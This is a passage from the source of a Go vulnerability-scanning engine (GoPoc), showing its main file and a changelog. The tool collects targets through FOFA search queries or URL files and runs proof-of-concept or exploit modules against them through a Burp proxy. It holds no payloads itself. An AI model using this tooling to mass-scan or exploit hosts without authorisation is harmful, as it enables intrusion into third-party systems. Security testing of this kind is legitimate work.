| Log.Log.Println("[+] 扫描开始:") 79 | if userInputDetectionURL == "" { 80 | Log.Log.Println("[+] 基于 fofa 进行搜索案例:") 81 | urlsList = HttpAbout.SendForFofa(config, pocStruct) 82 | } else { 83 | urlsList = HttpAbout.SendForUrlOrFile(userInputDetectionURL) // 发包模式2 基于 单个url / urlFile 文件 84 | } 85 | if Core.CheckBalanced(pocStruct.Fofa) { 86 | Log.Log.Fatal("[-] 请检测fofa语句是否正确,着重检查括号是否正确闭合") 87 | } 88 | 89 | if pocModule == 1 { 90 | Core.ForSendByJson(urlsList, pocStruct) 91 | } else if config["mod"] == "poc" || config["mod"] == "" { 92 | Core.ForSendByCode("poc", urlsList, pocStruct) 93 | } else { 94 | Core.ForSendByCode("exp", urlsList, pocStruct) 95 | } 96 | } 97 | 98 | func parseConfigIni() map[string]string { 99 | args := os.Args 100 | if len(args) == 1 { 101 | fmt.Println("使用说明: -ini C:/config.ini\nconfig.ini内容如下:\n\n-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)") 102 | } else if args[1] != "-ini" { 103 | fmt.Println("[-] 参数错误,例子:\n-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)") 104 | os.Exit(1) 105 | } 106 | inputIniFile := flag.String("ini", ".\\config.ini", "Input the ini file") 107 | flag.Parse() 108 | config := Handle.HandleIni(*inputIniFile) 109 | 110 | // Determine whether the number of parameters is correct 111 | if !strings.Contains(config["email"], "@") || config["key"] == "" || config["maxFofaSize"] == "" { 112 | fmt.Println("[-] 参数错误,例子:-email // fofa的email (必须)\n-key // fofa的key (必须)\n-url // 扫单个url (非必须)\n-file // 扫url文件中的每一个url (非必须)\n-vul // poc/exp文件,文件后缀为.go (必须)\n-mod // 指定poc/exp这两种模式 (必须)\n-proxy // burpsuite 代理,用于方便写poc/exp (必须)\n-maxConcurrentLevel // 最大并发量,越大扫描速度越快 (必须)\n-maxFofaSize\t // fofa最大检索数 (必须)") 113 | os.Exit(1) 114 | } 115 | return config 116 | } 117 | 118 | func detectionBurpIsOpen(proxyAddress string) { 119 | matches := regexp.MustCompile(`:(\d+)`).FindStringSubmatch(proxyAddress) 120 | if len(matches) < 1 { 121 | Log.Log.Println("[-] 输入的 config 没有找到对应的 -proxy 参数!") 122 | os.Exit(1) 123 | } 124 | conn, err := net.DialTimeout("tcp", strings.Replace(strings.ToLower(proxyAddress), "http://", "", -1), 10*time.Second) 125 | if err != nil { 126 | Log.Log.Println(`[-] Burpsuite是必开项,但你未开启! 你应该在此处: "Burpsuite --> Proxy --> Options --> listeners" 添加或开启一个端口为: ` + matches[1]) // matches[1] 是捕获的端口号部分 127 | os.Exit(1) 128 | } 129 | defer func(conn net.Conn) { 130 | err := conn.Close() 131 | if err != nil { 132 | fmt.Println("[-] 关闭探测 Burpsuite 连接出错") 133 | os.Exit(1) 134 | } 135 | }(conn) // 关闭连接 136 | } 137 | 138 | func getIpAddress() []string { 139 | var ipAddressList []string 140 | config := HttpAbout.NewHttpConfig() 141 | Utils.FullyAutomaticFillingHeader(config, `GET / HTTP/1.1 142 | Host: www.ip111.cn 143 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 144 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 145 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 146 | Accept-Encoding: gzip, deflate 147 | Upgrade-Insecure-Requests: 1 148 | Sec-Fetch-Dest: document 149 | Sec-Fetch-Mode: navigate 150 | Sec-Fetch-Site: none 151 | Sec-Fetch-User: ?1 152 | Priority: u=0, i 153 | Te: trailers 154 | Connection: close`) 155 | config.TimeOut = 60 156 | config.IsRedirect = false 157 | resp, err := HttpAbout.SendHttpRequest(`Http://www.ip111.cn`, config) 158 | if err != nil { 159 | log.Fatal("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://www.ip111.cn 这个链接是否挂了") 160 | } 161 | 162 | matches := regexp.MustCompile(`<p>\s*(.*?)\s*</p>`).FindStringSubmatch(resp.Body) 163 | 164 | if len(matches) > 1 { // 国内测试 165 | ipAddressList = append(ipAddressList, matches[1]) 166 | } 167 | 168 | Utils.FullyAutomaticFillingHeader(config, `GET /ip.php HTTP/1.1 169 | Host: sspanel.net 170 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 171 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 172 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 173 | Accept-Encoding: gzip, deflate 174 | Referer: https://www.ip111.cn/ 175 | Upgrade-Insecure-Requests: 1 176 | Sec-Fetch-Dest: iframe 177 | Sec-Fetch-Mode: navigate 178 | Sec-Fetch-Site: cross-site 179 | Priority: u=4 180 | Te: trailers 181 | Connection: close 182 | `) 183 | resp, err = HttpAbout.SendHttpRequest(`Http://sspanel.net/ip.php`, config) 184 | if err != nil { 185 | fmt.Println("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://sspanel.net/ip.php 这个链接是否挂了") 186 | } else { 187 | matches = regexp.MustCompile(`(\d{1,3}(?:\.\d{1,3}){3})\s+(\p{Han}+)\s+(\p{Han}+)`).FindStringSubmatch(resp.Body) 188 | } 189 | 190 | if len(matches) > 1 { // 国外测试 191 | ipAddressList = append(ipAddressList, matches[0]) 192 | } 193 | Utils.FullyAutomaticFillingHeader(config, `GET /ip.php HTTP/1.1 194 | Host: us.ip111.cn 195 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 196 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 197 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 198 | Accept-Encoding: gzip, deflate 199 | Referer: https://www.ip111.cn/ 200 | Upgrade-Insecure-Requests: 1 201 | Sec-Fetch-Dest: iframe 202 | Sec-Fetch-Mode: navigate 203 | Sec-Fetch-Site: same-site 204 | Priority: u=4 205 | Te: trailers 206 | Connection: close 207 | `) 208 | 209 | resp, err = HttpAbout.SendHttpRequest(`Http://us.ip111.cn/ip.php`, config) 210 | if err != nil { 211 | log.Fatal("[-] 获取ip地址失误,请检查你的网络是否正常或者 Http://us.ip111.cn/ip.php 这个链接是否挂了") 212 | } 213 | matches = regexp.MustCompile(`(\d{1,3}(?:\.\d{1,3}){3})\s+(\p{Han}+)\s+(\p{Han}+)`).FindStringSubmatch(resp.Body) 214 | 215 | if len(matches) > 1 { // 从谷歌测试 216 | ipAddressList = append(ipAddressList, matches[0]) 217 | } 218 | 219 | return ipAddressList 220 | } 221 | 222 | func main() { 223 | fmt.Println(" ████████ ███████ \n ██░░░░░░██ ░██░░░░██ \n ██ ░░ ██████ ░██ ░██ ██████ █████ \n░██ ██░░░░██░███████ ██░░░░██ ██░░░██\n░██ █████░██ ░██░██░░░░ ░██ ░██░██ ░░ \n░░██ ░░░░██░██ ░██░██ ░██ ░██░██ ██\n ░░████████ ░░██████ ░██ ░░██████ ░░█████ \n ░░░░░░░░ ░░░░░░ ░░ ░░░░░░ ░░░░░ \n\n") 224 | fmt.Println("基于 Json 、自定义Go脚本、fofa的快速验证扫描引擎,可用于快速验证目标是否存在该漏洞或者帮助你优化工作流程 -- TonyD0g") 225 | fmt.Println("[stable] Version 1.6.0") 226 | config := parseConfigIni() 227 | selectModule(config, 5) 228 | Log.Log.Println("\n[+] 扫描结束,如果什么输出链接则说明没有扫出来") 229 | } 230 | -------------------------------------------------------------------------------- /pic/演示.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TonyD0g/GoPoc/6d0e1eced3cb44cb84fe58574256f79aaebf795b/pic/演示.gif -------------------------------------------------------------------------------- /更新日志.txt: -------------------------------------------------------------------------------- 1 | 1.6.0 更新日志 2 | - 优化: 优化屎山,使用全局变量代理传参 3 | - 修复: 探测模式的逻辑Bug 4 | - 修复: "报错时不退出当前协程" 存在bug 5 | - 添加: 响应包结构添加原始数据报文属性 6 | - 添加: 添加内置指纹属性: BuiltinFingerprint, 为 true 时不使用用户输入的fofa语句,而是使用 GoPoc 内置的指纹库去跑 【开启后扫描速度变很慢且占用内存变大(因为用多协程去跑,一个协程加载7k个指纹)】 7 | - 添加: 内置指纹7k条 8 | - 添加: 探测模式中,某个url符合多指纹情况下,将所有的指纹输出 9 | - 修复: 探测模式的一堆bug,但还有Bug 10 | 11 | 更新计划: 12 | - 支持其他协议,不局限于http/https (遇到再说,这种情况太少了) 13 | - 添加一个全局的计数器,用于输出扫描结果的数量 (需求不大)git 14 | - 探测模式中,需要对url添加一些常用的主页面,如index.php/index.jsp/index.html等 15 | 16 | 17 | 18 | 19 | --------------------------------------------------------------------------------